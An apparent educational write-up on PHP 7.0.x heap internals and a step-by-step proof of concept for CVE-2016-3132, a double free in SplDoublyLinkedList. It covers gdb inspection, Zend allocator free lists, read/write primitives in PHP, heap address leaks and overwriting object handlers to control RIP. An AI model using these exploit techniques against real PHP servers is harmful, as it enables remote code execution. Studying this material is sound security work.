Orignial bug:

This article is not about a new 0day I just discovered but is an article which try to explain in details how exploitation of memory corruption in PHP works. We will detail some important structures, mechanisms, tricks and finish by creating a 1day POC for CVE-2016-3132. All of this work has been possible because some people written very good write up on the subject. My thanks go to their work which makes the binary exploitation of the PHP interpreter accessible to the general public.

Let’s start by downloading and compiling the PHP interpreter.

Build php interpreter in debug mode

Download PHP sources:

$ git clone https://github.com/php/php-src.git

From the root of the php-src project enter the following commands:

$ git checkout PHP-<VERSION>
$ make clean
$ ./buildconf --force
$ ./configure --enable-debug
$ make

Where <VERSION> is the version of the interpreter you want to use. In our case we will compile the interpreter for the versions:

  • 7.0.1
  • 7.0.2
  • 7.0.3
  • 7.0.4

Your compiled interpreter will be located once the operation is complete in the folder sapi/cli/

Debug the php interpreter

From a personal point of view when the php interpreter is compiled with the --enable-debug option or not, it is convenient to enable the pretty print feature in gdb because it simplifies the understanding of the structures layout.

When the option is disabled:

(gdb) print (zval)*0x7ffff5814420
$1 = {value = {lval = 140737312706880, dval = 6.9533471296486141e-310, counted = 0x7ffff587d140, 
    str = 0x7ffff587d140, arr = 0x7ffff587d140, obj = 0x7ffff587d140, res = 0x7ffff587d140, 
    ref = 0x7ffff587d140, ast = 0x7ffff587d140, zv = 0x7ffff587d140, ptr = 0x7ffff587d140, 
    ce = 0x7ffff587d140, func = 0x7ffff587d140, ww = {w1 = 4119318848, w2 = 32767}}, u1 = {v = {
      type = 6 '\006', type_flags = 20 '\024', const_flags = 0 '\000', reserved = 0 '\000'}, 
    type_info = 5126}, u2 = {var_flags = 0, next = 0, cache_slot = 0, lineno = 0, num_args = 0, 
    fe_pos = 0, fe_iter_idx = 0}}

When the option is enabled:

(gdb) print (zval)*0x7ffff5814420
$2 = {
  value = {
    lval = 140737312706880,
    dval = 6.9533471296486141e-310,
    counted = 0x7ffff587d140,
    str = 0x7ffff587d140,
    arr = 0x7ffff587d140,
    obj = 0x7ffff587d140,
    res = 0x7ffff587d140,
    ref = 0x7ffff587d140,
    ast = 0x7ffff587d140,
    zv = 0x7ffff587d140,
    ptr = 0x7ffff587d140,
    ce = 0x7ffff587d140,
    func = 0x7ffff587d140,
    ww = {
      w1 = 4119318848,
      w2 = 32767
    }
  },
  u1 = {
    v = {
      type = 6 '\006',
      type_flags = 20 '\024',
      const_flags = 0 '\000',
      reserved = 0 '\000'
    },
    type_info = 5126
  },
  u2 = {
    var_flags = 0,
    next = 0,
    cache_slot = 0,
    lineno = 0,
    num_args = 0,
    fe_pos = 0,
    fe_iter_idx = 0
  }
}

To activate the feature enter the following command in gdb:

(gdb) set print pretty on

Now that we have an adequate working environment, let’s go to the heart of the matter:

  • Structures
  • Memory
  • Explorations

For the rest of the article we will name the version of the binary compiled with the debug option:

  • php-<VERSION>-debug (eg. php-7.0.1-debug)

And the standard compiled version:

  • php-<VERSION>-main (eg. php-7.0.1-main)

Let’s take the following PHP script that we will name example_0.php:

File: example_0.php

<?php

$s = str_repeat("A", 4);
var_dump($s);

?>

Once executed, it returns the following result:

$ bin/php-7.0.1-debug example_0.php
string(4) "AAAA"

Let’s open this one with gdb.

$ gdb bin/php-7.0.1-main

...

Reading symbols from bin/php-7.0.1-main...
(gdb) r example_0.php
Starting program: <HIDDEN>/bin/php-7.0.1-main example_0.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
string(4) "AAAA"
[Inferior 1 (process 1236) exited normally]

In order to better observe how $s is represented in memory we will uses a breakpoint. As we use the var_dump function after defining $s let’s set a breakpoint on it. I advise you to have access to the code of the PHP interpreter next to you and the documentation because it will be helpful.

We therefore define a break on the function php_var_dump and not on var_dump because it does not really exists, I let you look in the code why but here’s a little hint.

File: ext/standard/php_var.h


...

PHP_FUNCTION(var_dump);
PHP_FUNCTION(var_export);
PHP_FUNCTION(debug_zval_dump);
PHP_FUNCTION(serialize);
PHP_FUNCTION(unserialize);
PHP_FUNCTION(memory_get_usage);
PHP_FUNCTION(memory_get_peak_usage);

PHPAPI void php_var_dump(zval *struc, int level);
PHPAPI void php_var_export(zval *struc, int level);
PHPAPI void php_var_export_ex(zval *struc, int level, smart_str *buf);

PHPAPI void php_debug_zval_dump(zval *struc, int level);

...

The breakpoint displays the following result:

(gdb) break php_var_dump
Breakpoint 1 at 0x328eb0: file <HIDDEN>/php-src/ext/standard/var.c, line 89.
(gdb) r example_0.php
Starting program: <HIDDEN>/bin/php-7.0.1-main example_0.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, php_var_dump (struc=0x7ffff5813130, level=1)
    at <HIDDEN>/php-src/ext/standard/var.c:89
89		if (level > 1) {
(gdb) print (zval)*0x7ffff5813130
$1 = {
  value = {
    lval = 140737312204072,
    dval = 6.9533471048065982e-310,
    counted = 0x7ffff5802528,
    str = 0x7ffff5802528,
    arr = 0x7ffff5802528,
    obj = 0x7ffff5802528,
    res = 0x7ffff5802528,
    ref = 0x7ffff5802528,
    ast = 0x7ffff5802528,
    zv = 0x7ffff5802528,
    ptr = 0x7ffff5802528,
    ce = 0x7ffff5802528,
    func = 0x7ffff5802528,
    ww = {
      w1 = 4118816040,
      w2 = 32767
    }
  },
  u1 = {
    v = {
      type = 6 '\006',
      type_flags = 20 '\024',
      const_flags = 0 '\000',
      reserved = 0 '\000'
    },
    type_info = 5126
  },
  u2 = {
    var_flags = 0,
    next = 0,
    cache_slot = 0,
    lineno = 0,
    num_args = 0,
    fe_pos = 0,
    fe_iter_idx = 0
  }
}

You have the right to ask yourself why we used:

(gdb) print (zval)*0x7ffff5813130

It is because the function php_var_dump() takes as parameters a pointer to a zval and an int. Furthermore, I’m just going to quote the documentation.

A zval (short for “Zend value”) represents an arbitrary PHP value. As such it is likely the most important structure in all of PHP and you’ll be working with it a lot. This section describes the basic concepts behind zvals and their use.

  • https://www.phpinternalsbook.com/php7/zvals/basic_structure.html

The structure _zval_struct is represented as:

File: Zend/zend_types.h


...

struct _zval_struct {
  zend_value        value;			/* value */
  union {
    struct {
      ZEND_ENDIAN_LOHI_4(
        zend_uchar    type,			/* active type */
        zend_uchar    type_flags,
        zend_uchar    const_flags,
        zend_uchar    reserved)	    /* call info for EX(This) */
    } v;
    uint32_t type_info;
  } u1;
  union {
    uint32_t     var_flags;
    uint32_t     next;                 /* hash collision chain */
    uint32_t     cache_slot;           /* literal cache slot */
    uint32_t     lineno;               /* line number (for ast nodes) */
    uint32_t     num_args;             /* arguments number for EX(This) */
    uint32_t     fe_pos;               /* foreach position */
    uint32_t     fe_iter_idx;          /* foreach iterator index */
  } u2;
};

...

Where zend_value value is represented as:

File: Zend/zend_types.h


...

typedef union _zend_value {
    zend_long         lval;    // For IS_LONG
    double            dval;    // For IS_DOUBLE
    zend_refcounted  *counted;
    zend_string      *str;     // For IS_STRING
    zend_array       *arr;     // For IS_ARRAY
    zend_object      *obj;     // For IS_OBJECT
    zend_resource    *res;     // For IS_RESOURCE
    zend_reference   *ref;     // For IS_REFERENCE
    zend_ast_ref     *ast;     // For IS_CONSTANT_AST (special)
    zval             *zv;      // For IS_INDIRECT (special)
    void             *ptr;
    zend_class_entry *ce;
    zend_function    *func;
    struct {
        uint32_t w1;
        uint32_t w2;
    } ww;
} zend_value;

...

As you have understood this structure can represent many things and therefore what is important is the type of data represented. Here is a small summary of what the type element can take.

File: Zend/zend_types.h


...

/* regular data types */
#define IS_UNDEF					0
#define IS_NULL						1
#define IS_FALSE					2
#define IS_TRUE						3
#define IS_LONG						4
#define IS_DOUBLE					5
#define IS_STRING					6
#define IS_ARRAY					7
#define IS_OBJECT					8
#define IS_RESOURCE					9
#define IS_REFERENCE				10

...

Let’s go back to the output of the previous command:

(gdb) print (zval)*0x7ffff5813130
$1 = {
  value = {
    lval = 140737312204072,
    dval = 6.9533471048065982e-310,
    counted = 0x7ffff5802528,
    str = 0x7ffff5802528,
    arr = 0x7ffff5802528,
    obj = 0x7ffff5802528,
    res = 0x7ffff5802528,
    ref = 0x7ffff5802528,
    ast = 0x7ffff5802528,
    zv = 0x7ffff5802528,
    ptr = 0x7ffff5802528,
    ce = 0x7ffff5802528,
    func = 0x7ffff5802528,
    ww = {
      w1 = 4118816040,
      w2 = 32767
    }
  },
  u1 = {
    v = {
      type = 6 '\006',
      type_flags = 20 '\024',
      const_flags = 0 '\000',
      reserved = 0 '\000'
    },
    type_info = 5126
  },
  u2 = {
    var_flags = 0,
    next = 0,
    cache_slot = 0,
    lineno = 0,
    num_args = 0,
    fe_pos = 0,
    fe_iter_idx = 0
  }
}

We have u1.v.type equals to 6 which means that our zval allows us to access the structure of a string (IS_STRING = 6, str = 0x7ffff5802528) in memory. The structure _zend_string can be printed in gdb using the command:

(gdb) print (zend_string)*<PTR>

And is defined as follows:

File: Zend/zend_types.h


...

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong        h;
    size_t            len;
    char              val[1];
};

...

Where zend_refcounted_h gc is represented as:

File: Zend/zend_types.h


...

typedef struct _zend_refcounted_h {
  uint32_t         refcount;			/* reference counter 32-bit */
  union {
    struct {
      ZEND_ENDIAN_LOHI_3(
        zend_uchar    type,
        zend_uchar    flags,    /* used for strings & objects */
        uint16_t      gc_info)  /* keeps GC root number (or 0) and color */
    } v;
    uint32_t type_info;
  } u;
} zend_refcounted_h;

...

Which gives us:

(gdb) print (zend_string)*0x7ffff5802528
$2 = {
  gc = {
    refcount = 2,
    u = {
      v = {
        type = 6 '\006',
        flags = 0 '\000',
        gc_info = 0
      },
      type_info = 6
    }
  },
  h = 0,
  len = 4,
  val = "A"
}

This can also be obtained via:

(gdb) x/7x 0x7ffff5802528
0x7ffff5802528:	0x00000002	0x00000006	0x00000000	0x00000000
0x7ffff5802538:	0x00000004	0x00000000	0x41414141

alt text

The memory allocator and the bug

The bug is described here but before we understand what a double free is, we should first understand how is handled the memory of the heap. Here is the structure representing your heap in memory.

File: Zend/zend_alloc.c


...

/*
 * Memory is retrived from OS by chunks of fixed size 2MB.
 * Inside chunk it's managed by pages of fixed size 4096B.
 * So each chunk consists from 512 pages.
 * The first page of each chunk is reseved for chunk header.
 * It contains service information about all pages.
 *
 * free_pages - current number of free pages in this chunk
 *
 * free_tail  - number of continuous free pages at the end of chunk
 *
 * free_map   - bitset (a bit for each page). The bit is set if the corresponding
 *              page is allocated. Allocator for "lage sizes" may easily find a
 *              free page (or a continuous number of pages) searching for zero
 *              bits.
 *
 * map        - contains service information for each page. (32-bits for each
 *              page).
 *    usage:
 *				(2 bits)
 * 				FRUN - free page,
 *              LRUN - first page of "large" allocation
 *              SRUN - first page of a bin used for "small" allocation
 *
 *    lrun_pages:
 *              (10 bits) number of allocated pages
 *
 *    srun_bin_num:
 *              (5 bits) bin number (e.g. 0 for sizes 0-2, 1 for 3-4,
 *               2 for 5-8, 3 for 9-16 etc) see zend_alloc_sizes.h
 */

struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
  int                use_custom_heap;
#endif
#if ZEND_MM_STORAGE
  zend_mm_storage   *storage;
#endif
#if ZEND_MM_STAT
  size_t             size;                    /* current memory usage */
  size_t             peak;                    /* peak memory usage */
#endif
  zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */

  ...

};

...

We will not focus on the whole management of the heap, but only interested in the allocation of small elements. The difference between each bin is the size of the free chunks:

  • heap->free_slot[0] contains a singly-linked list of pointers to free chunks with size of 1 - 8 bytes.
  • heap->free_slot[1] contains a singly-linked list of pointers to free chunks with size of 9 - 16 bytes.
  • heap->free_slot[2] contains a singly-linked list of pointers to free chunks with size of 17 - 24 bytes.
  • heap->free_slot[N] contains a singly-linked list of pointers to free chunks with size from ((N8)+1) to ((N+1)8) bytes.

Memory allocation

As the documentation so well quotes it, we just need to read the contents of the file Zend/zend_alloc.h.

File: Zend/zend_alloc.h


...

#define emalloc(size)						_emalloc((size) ZEND_FILE_LINE_CC ZEND_FILE_LINE_EMPTY_CC)

...

This leads us to read the file Zend/zend_alloc.c and allows us to understand that what interests us is managed by the function zend_mm_alloc_small().

  • _emalloc()
    • zend_mm_alloc_heap()
      • zend_mm_alloc_small()

File: Zend/zend_alloc.c


...

static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, size_t size, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{

  ...

  if (EXPECTED(heap->free_slot[bin_num] != NULL)) {
    zend_mm_free_slot *p = heap->free_slot[bin_num];
    heap->free_slot[bin_num] = p->next_free_slot;
    return (void*)p;
  } else {
    return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
  }
}

...

The following sequence:


...

zend_mm_free_slot *p = heap->free_slot[bin_num];
heap->free_slot[bin_num] = p->next_free_slot;
return (void*)p;

...

Is equivalent to a “pop” from the singly-linked list heap->free_slot[bin_num]. It is therefore a Last In First Out (LIFO) mechanism that is used by the allocator.

Memory space release

The same goes for releasing memory.

File: Zend/zend_alloc.h


...

#define efree(ptr)							_efree((ptr) ZEND_FILE_LINE_CC ZEND_FILE_LINE_EMPTY_CC)

...

  • _efree()
    • zend_mm_free_heap()
      • zend_mm_free_small()

File: Zend/zend_alloc.c


...

static zend_always_inline void zend_mm_free_small(zend_mm_heap *heap, void *ptr, int bin_num)
{
  zend_mm_free_slot *p;

  ...

  p = (zend_mm_free_slot*)ptr;
  p->next_free_slot = heap->free_slot[bin_num];
  heap->free_slot[bin_num] = p;
}

...

So what happens when a pointer is free twice?

Below a small diagram explaining what happens during a double free:

alt text

The list of free objects is first empty.

After the first efree() it becomes:

  • [c]

After the second efree() it becomes:

  • [b, c]

And after the last efree() it becomes:

  • [b, b, c]

Now what happens when we re-allocate objects?

alt text

The list of free objects is:

  • [b, b, c]

After the first emalloc() it becomes:

  • [b, c]

After the second emalloc() it becomes:

  • [c]

Only now we have two variable (zval) representing different objects that point to the same memory space which is filled with the information of the last allocated object.

The vulnerability

The vulnerability was discovered by Emmanuel Law in 2016. It’s a double free vulnerability in the SplDoublyLinkedList::offsetSet(mixed $index , mixed $newval) function defined here:

  • ext/spl/spl_dllist.c

The following example:

File: CVE-2016-3132_0_bug.php

<?php

$var_1 = new SplStack();
$var_1->offsetSet(100, new DateTime('2000-01-01'));

?>

Will trigger the bug and an error message:

$ bin/php-7.0.1-main CVE-2016-3132_0_bug.php

Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range in <HIDDEN>/CVE-2016-3132_0_bug.php:4
Stack trace:
#0 {main}
  thrown in <HIDDEN>/CVE-2016-3132_0_bug.php on line 4

PHP exits immediately after this fatal error message. To exploit this vulnerability, we will prevent PHP from exiting after the double free by catching the exception with set_exception_handler().

The questions we can ask ourselves now are:

  • Which objects will we overlap in order to control the execution flow of our program?
  • How we will take control of the execution flow?

To answer the second one we must obtain two primitives:

  • Read the memory.
  • Write into the memory.

In order to write into the memory we must know where we are currently.

The strategy is as follows:

  • Read the memory.
  • Identify our position within the memory.
  • Write into the memory.
  • Take control of the execution flow.

Candidate object

The structure _spl_fixedarray_object is represented below:

File: ext/spl/spl_fixedarray.c


...

typedef struct _spl_fixedarray_object {
  spl_fixedarray        *array;
  zend_function         *fptr_offset_get;
  zend_function         *fptr_offset_set;
  zend_function         *fptr_offset_has;
  zend_function         *fptr_offset_del;
  zend_function         *fptr_count;
  int                    current;
  int                    flags;
  zend_class_entry      *ce_get_iterator;
  zend_object            std;
} spl_fixedarray_object;

...

Where spl_fixedarray is represented as:

File: ext/spl/spl_fixedarray.c


...

typedef struct _spl_fixedarray {
  zend_long size;
  zval *elements;
} spl_fixedarray;

...

Which can be displayed in gdb using the command:

(gdb) print (spl_fixedarray_object)*<PTR>

The structure _zend_string is represented below:

File: Zend/zend_types.h


...

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong        h;
    size_t            len;
    char              val[1];
};

...

By chance, element zend_function *fptr_offset_set from _spl_fixedarray_object is at the same position as element size_t len from _zend_string. So, if a _spl_fixedarray_object overlaps a _zend_string then the string length will be replaced by a pointer, which when represented as an integer, is a huge value compared to the normal length of a string.

The diagram below summarizes the above principle:

alt text

String before overlap:

(gdb) print (zend_string)*0x7ffff5877620
$1 = {
  gc = {
    refcount = 2,
    u = {
      v = {
        type = 6 '\006',
        flags = 0 '\000',
        gc_info = 0
      },
      type_info = 6
    }
  },
  h = 0,
  len = 72,
  val = "C"
}

String after overlap:

(gdb) print (zend_string)*0x7ffff5877620
$2 = {
  gc = {
    refcount = 4119282624,
    u = {
      v = {
        type = 255 '\377',
        flags = 127 '\177',
        gc_info = 0
      },
      type_info = 32767
    }
  },
  h = 140737312208000,
  len = 140737312208208,
  val = "\260"
}

Check in python the hex representation of integer 140737312208208 using function hex().

>>> hex(140737312208208)
'0x7ffff5803550'

Display of the same memory space but interpreted as an spl_fixedarray_object object.

(gdb) print (spl_fixedarray_object)*0x7ffff5877620
$3 = {
  array = 0x7ffff58743c0,
  fptr_offset_get = 0x7ffff5803480,
  fptr_offset_set = 0x7ffff5803550,
  fptr_offset_has = 0x7ffff58033b0,
  fptr_offset_del = 0x7ffff5803620,
  fptr_count = 0x0,

  ...

}

We have just highlighted the mechanics of overlap. Now that we have a string with a huge length we will be able to read forward into the memory (for the moment it is impossible for us to read what is before this string).

Read and write into the memory

When memory corruption occurs, changing the length of a string allows you to read and write all the memory covered by its length.

Read memory


...

function str2ptr(&$str, $offset=0, $size=8, $endianness="l") {
    $address = 0;
    if ($endianness === "l") {
        for($i = $size-1; $i >= 0; $i--) {
            $address <<= 8;
            $address |= ord($str[$offset+$i]);
        }
    }
    return $address;
}

...

Write into memory


...

function write(&$str, $offset, $value, $size=8, $endianness="l") {
    if ($endianness === "l") {
        for($i = 0; $i < $size; $i++) {
            $str[$offset + $i] = chr($value & 0xff);
            $value >>= 8;
        }
    }
}

...

The function above will write $value at $offset from the memory address of $s+0x18 which is a string (you will see why +0x18 later).

To see a little example to demonstrate whats two previous fonctions does, read the script example_1.php

Result:

$ php example_1.php
string:
string(26) "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

leak:
int(5497569448741520965)

string after writing in it 3 times:
string(26) "ABCDDCBAEEEEFFFFFFFFUVWXYZ"

Finding yourself in memory

As shown in figure number 2, when a structure is free from memory, the first bytes are rewritten to be replaced by a pointer to the next free memory area.

So if we free the second element after the corrupted object, then the first after the corrupted object, and we start reading in memory using our corrupted object, then we can extract from the first bytes of the second element freed the address of the first element freed.

alt text

alt text

alt text

alt text

The question we can ask ourselves is how many bytes we need to read, to get elti+2’s address. Each his own method, for my part I chose to use a script that will leak memory for different offset and see for which offset we get the desired address.

If the php binary is compiled with option --enable-debug the address of elti+2 is at offset:

  • $offset = 0x88 (136)

While when the binary is not compiled with this option the address is at the offset:

  • $offset = 0x58 (88)

As it can be seen from the execution of CVE-2016-3132_1_choose_offsets.php:

Starting program: <HIDDEN>/bin/php-7.0.1-main CVE-2016-3132_1_choose_offsets.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

...

[+] Leak using offset: 0x0, address: 0x7ffff58033b0
[+] Leak using offset: 0x1, address: 0x2000007ffff58033
[+] Leak using offset: 0x2, address: 0x362000007ffff580
[+] Leak using offset: 0x3, address: 0x80362000007ffff5
[+] Leak using offset: 0x4, address: 0xf580362000007fff
[+] Leak using offset: 0x5, address: 0xfff580362000007f
[+] Leak using offset: 0x6, address: 0x7ffff58036200000
[+] Leak using offset: 0x7, address: 0x7ffff580362000
[+] Leak using offset: 0x8, address: 0x7ffff5803620

...

Now that we have elti+2’s address we can calculate the address of elti+1 because when the interpreter is compiled with option option --enable-debug it is at a distance of:

  • $offset = 0xa0 (160)

While when the binary is not compiled with this option:

  • $offset = 0x70 (112)

Now that we have elti+1’s address we can calculate the address of the corrupted memory area because when the interpreter is compiled with option --enable-debug it is at a distance of:

  • $offset = 0xe0 (224)

While when the binary is not compiled with this option:

  • $offset = 0xb0 (176)

All these calculations are done within the following PHP sample:

File: CVE-2016-3132_2_know_current_location.php

<?php

$DEBUG = 1;

// Is php interpreter compiled in debug mode.
// This will change offsets between object.
$DEBUG_MODE = 1;

...

    // Leaking of an address from the heap.
    if ($DEBUG_MODE) {
        $offset = 0x88;
    } else {
        $offset = 0x58;
    }
    $leak = str2ptr($overlapped, $offset, 0x8, "l");
    print "[+] Leaking heap address: 0x" . dechex($leak) . " at offset 0x" . dechex($offset) . "\n";

    // Identification of the first freed object.
    $offset = 0x40;
    $elt52th = $leak + $offset;
    print "[*] Adding empiric shift: +0x" . dechex($offset) . ", 52th elt is at address: 0x" . dechex($elt52th) ."\n";

    // Identification of the second freed object.
    if ($DEBUG_MODE) {
        $offset = 0xa0;
    } else {
        $offset = 0x70;
    }
    $elt51th = $elt52th - $offset;
    print "[*] Adding empiric shift: -0x" . dechex($offset) . ", 51th elt is at address: 0x" . dechex($elt51th) ."\n";

    // Identification of the memory address under 
    // our control.
    if ($DEBUG_MODE) {
        $offset = 0xe0;
    } else {
        $offset = 0xb0;
    }
    $elt50th = $elt51th - $offset;
    print "[*] Adding empiric shift: -0x" . dechex($offset) . ", 50th elt (\$overlapped) is at address: 0x" . dechex($elt50th) ."\n";

...

Executed with two different php binaries this gives us:

  • In debug mode:
$ ./bin/php-7.0.1-debug CVE-2016-3132_2_know_current_location.php
[+] Leaking heap address: 0x7f4eb987a140 at offset 0x88
[*] Adding empiric shift: +0x40, 52th elt is at address: 0x7f4eb987a180
[*] Adding empiric shift: -0xa0, 51th elt is at address: 0x7f4eb987a0e0
[*] Adding empiric shift: -0xe0, 50th elt ($overlapped) is at address: 0x7f4eb987a000
[1]    1062 segmentation fault  ./bin/php-7.0.1-debug c.php
  • Without the debug mode:
./bin/php-7.0.1-main CVE-2016-3132_2_know_current_location.php
[+] Leaking heap address: 0x7f3de4277700 at offset 0x58
[*] Adding empiric shift: +0x40, 52th elt is at address: 0x7f3de4277740
[*] Adding empiric shift: -0x70, 51th elt is at address: 0x7f3de42776d0
[*] Adding empiric shift: -0xb0, 50th elt ($overlapped) is at address: 0x7f3de4277620
[1]    1088 segmentation fault  ./bin/php-7.0.1-main c.php

Now we know exactly where we are in the memory.

Let’s write data in the heap

When we try to write in the string we control ($overlapped) an exception is thrown. After a little investigation we come to the following conclusion. If the php interpret has been compiled with option --enable-debug we will stop the exploit after leaking some memory from the heap, because a call to function write() will rise an exception because the written string is not terminated by a null character.

You can read the file Zend/zend_variables.c line 225 within function _zval_copy_ctor_func(), were it calls function CHECK_ZVAL_STRING_REL().

File: Zend/zend_variables.c


...

ZEND_API void ZEND_FASTCALL _zval_copy_ctor_func(zval *zvalue ZEND_FILE_LINE_DC)
{
  if (EXPECTED(Z_TYPE_P(zvalue) == IS_ARRAY)) {
    ZVAL_ARR(zvalue, zend_array_dup(Z_ARRVAL_P(zvalue)));
  } else if (EXPECTED(Z_TYPE_P(zvalue) == IS_STRING) ||
             EXPECTED(Z_TYPE_P(zvalue) == IS_CONSTANT)) {
    CHECK_ZVAL_STRING_REL(Z_STR_P(zvalue));
    Z_STR_P(zvalue) = zend_string_dup(Z_STR_P(zvalue), 0);
  } else if (EXPECTED(Z_TYPE_P(zvalue) == IS_CONSTANT_AST)) {
    zend_ast_ref *ast = emalloc(sizeof(zend_ast_ref));

    GC_REFCOUNT(ast) = 1;
    GC_TYPE_INFO(ast) = IS_CONSTANT_AST;
    ast->ast = zend_ast_copy(Z_ASTVAL_P(zvalue));
    Z_AST_P(zvalue) = ast;
  }
}

...

Indeed the function CHECK_ZVAL_STRING_REL() rise an exception as we can see in file Zend/zend_API.h.

File: Zend/zend_API.h


...

#if ZEND_DEBUG
#define CHECK_ZVAL_STRING(str) \
  if (ZSTR_VAL(str)[ZSTR_LEN(str)] != '\0') { zend_error(E_WARNING, "String is not zero-terminated (%s)", ZSTR_VAL(str)); }
#define CHECK_ZVAL_STRING_REL(str) \
  if (ZSTR_VAL(str)[ZSTR_LEN(str)] != '\0') { zend_error(E_WARNING, "String is not zero-terminated (%s) (source: %s:%d)", ZSTR_VAL(str) ZEND_FILE_LINE_RELAY_CC); }
#else
#define CHECK_ZVAL_STRING(z)
#define CHECK_ZVAL_STRING_REL(z)
#endif

...

We can either patch the source code of the php interpreter to avoid this exception or use a compiled interpreter without the --enable-debug option. In my case I chose the second option this is why I had calculated some offsets for both binaries.

Let’s write some junk first

When we write some junk with example:


...

write($overlapped, 0x0, 0x4141414141414141, 0x8);

...

We start writing to the zend_string structure at offset 24 (0x18) where val[1] takes place. Which gives us this in gdb (structure representing $overlapped):

(gdb) print (zend_string)*0x7ffff588b700
$1 = {
  gc = {
    refcount = 4119282592,
    u = {
      v = {
        type = 255 '\377',
        flags = 127 '\177',
        gc_info = 0
      },
      type_info = 32767
    }
  },
  h = 0,
  len = 140737312208208,
  val = "A"
}

Which we can be observed differently using:

(gdb) x/2x 0x7ffff588b700+24
0x7ffff588b718:	0x41414141	0x41414141

The two objects $overlapped and $overlapping share the same memory space so writing in the first one will modify the second.

Consequences on object $overlapping:

$36 = {
  array = 0x7ffff58743a0,
  fptr_offset_get = 0x0,
  fptr_offset_set = 0x7ffff5803550,
  fptr_offset_has = 0x4141414141414141,
  fptr_offset_del = 0x7ffff5803620,
  fptr_count = 0x0,
  current = 0,
  flags = 0,
  ce_get_iterator = 0x0,
  std = {
    gc = {
      refcount = 1,
      u = {
        v = {
          type = 8 '\b',
          flags = 0 '\000',
          gc_info = 49254
        },
        type_info = 3227910152
      }
    },
    handle = 52,
    ce = 0x7ffff5803358,
    handlers = 0x555555edd7c0 <spl_handler_SplFixedArray>,
    properties = 0x0,
    properties_table = {{
        value = {
          lval = 0,
          dval = 0,
          counted = 0x0,
          str = 0x0,
          arr = 0x0,
          obj = 0x0,
          res = 0x0,
          ref = 0x0,
          ast = 0x0,
          zv = 0x0,
          ptr = 0x0,
          ce = 0x0,
          func = 0x0,
          ww = {
            w1 = 0,
            w2 = 0
          }
        },
        u1 = {
          v = {
            type = 224 '\340',
            type_flags = 183 '\267',
            const_flags = 136 '\210',
            reserved = 245 '\365'
          },
          type_info = 4119377888
        },
        u2 = {
          var_flags = 32767,
          next = 32767,
          cache_slot = 32767,
          lineno = 32767,
          num_args = 32767,
          fe_pos = 32767,
          fe_iter_idx = 32767
        }
      }}
  }
}

We can see that we have rewritten the pointer fptr_offset_has from structure spl_fixedarray_object ($overlapping). But in order to control the execution flow of the program we will need to rewrite the handlers pointer. In order to do this we will have to increase the offset defined when calling the write() function.

We realize that handlers is at 88 (0x58) bytes from the beginning of the structure, but with the write() function we start to write at the offset 24 (0x18) as said earlier, so we need 64 (0x40) more bytes to reach handlers. The handlers structure store some function pointers for the operations related to this saved object, such as reading and writing of member properties, obtaining member methods, destroying/cloning objects, etc.

We could replace handlers value with the following line:


...

write($overlapped, 0x40, 0x4141414141414141, 0x8);

...

Now we just have to write useful values instead of writing junk (AAAAAAAA).

Let’s write usefull stuff

As explained earlier, we want to overwrite the handlers pointer so that it points to a fake zend_object_handlers object under our control. This way we could control the flow of execution.

The struct _zend_object_handlers is represented below:

File: Zend/zend_object_handlers.h


...

struct _zend_object_handlers {
  /* offset of real object header (usually zero) */
  int										offset;
  /* general object functions */
  zend_object_free_obj_t					free_obj;
  zend_object_dtor_obj_t					dtor_obj;
  zend_object_clone_obj_t					clone_obj;
  /* individual object functions */
  zend_object_read_property_t				read_property;
  zend_object_write_property_t			write_property;
  zend_object_read_dimension_t			read_dimension;
  zend_object_write_dimension_t			write_dimension;
  zend_object_get_property_ptr_ptr_t		get_property_ptr_ptr;
  zend_object_get_t						get;
  zend_object_set_t						set;
  zend_object_has_property_t				has_property;
  zend_object_unset_property_t			unset_property;
  zend_object_has_dimension_t				has_dimension;
  zend_object_unset_dimension_t			unset_dimension;
  zend_object_get_properties_t			get_properties;
  zend_object_get_method_t				get_method;
  zend_object_call_method_t				call_method;
  zend_object_get_constructor_t			get_constructor;
  zend_object_get_class_name_t			get_class_name;
  zend_object_compare_t					compare_objects;
  zend_object_cast_t						cast_object;
  zend_object_count_elements_t			count_elements;
  zend_object_get_debug_info_t			get_debug_info;
  zend_object_get_closure_t				get_closure;
  zend_object_get_gc_t					get_gc;
  zend_object_do_operation_t				do_operation;
  zend_object_compare_zvals_t				compare;
};

...

Which can be represented in gdb using the command:

(gdb) print (zend_object_handlers)*<PTR>

Let’s write a fake zend_object_handlers

The creation of a fake handler in the heap is done in the following way:


...

    // When we write, we start writing to the _zend_string
    // structure at offset 24 (0x18) where val[1] takes place.
    // We will write the handlers field of the structure
    // _spl_fixedarray_object.
    $fake_handler = $elt50th + 0x18 + 0x500;
    print "[+] Creating fake handler at: 0x" . dechex($fake_handler) ."\n";
    // Creates a fake structure zend_object_handlers at address $fake_handler.
    // Write fake offset.
    write($overlapped, 0x500, 0x40, 0x8);
    // Write fake free_obj.
    write($overlapped, 0x508, 0x4141414141414141, 0x8);
    // Write fake dtor_obj.
    write($overlapped, 0x510, 0xdeadbeef, 0x8);

...

Then we rewrite the pointer handlers from $overlapping to point to this newly created structure:


...

    print "[+] Overwriting overlapping object handlers.\n";
    // Overwrite handlers.
    write($overlapped, 0x40, $fake_handler, 0x8);

...

And finally we take control of the execution flow using the unset() so RIP will be equal to 0xdeadbeef:


...

    print "[+] Taking controll of RIP.\n";
    // RIP will be set to 0xdeadbeef.
    unset($overlapping);

...

Result:

$ gdb bin/php-7.0.1-main 

...

Starting program: <HIDDEN>/bin/php-7.0.1-main CVE-2016-3132_3_control_eip.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
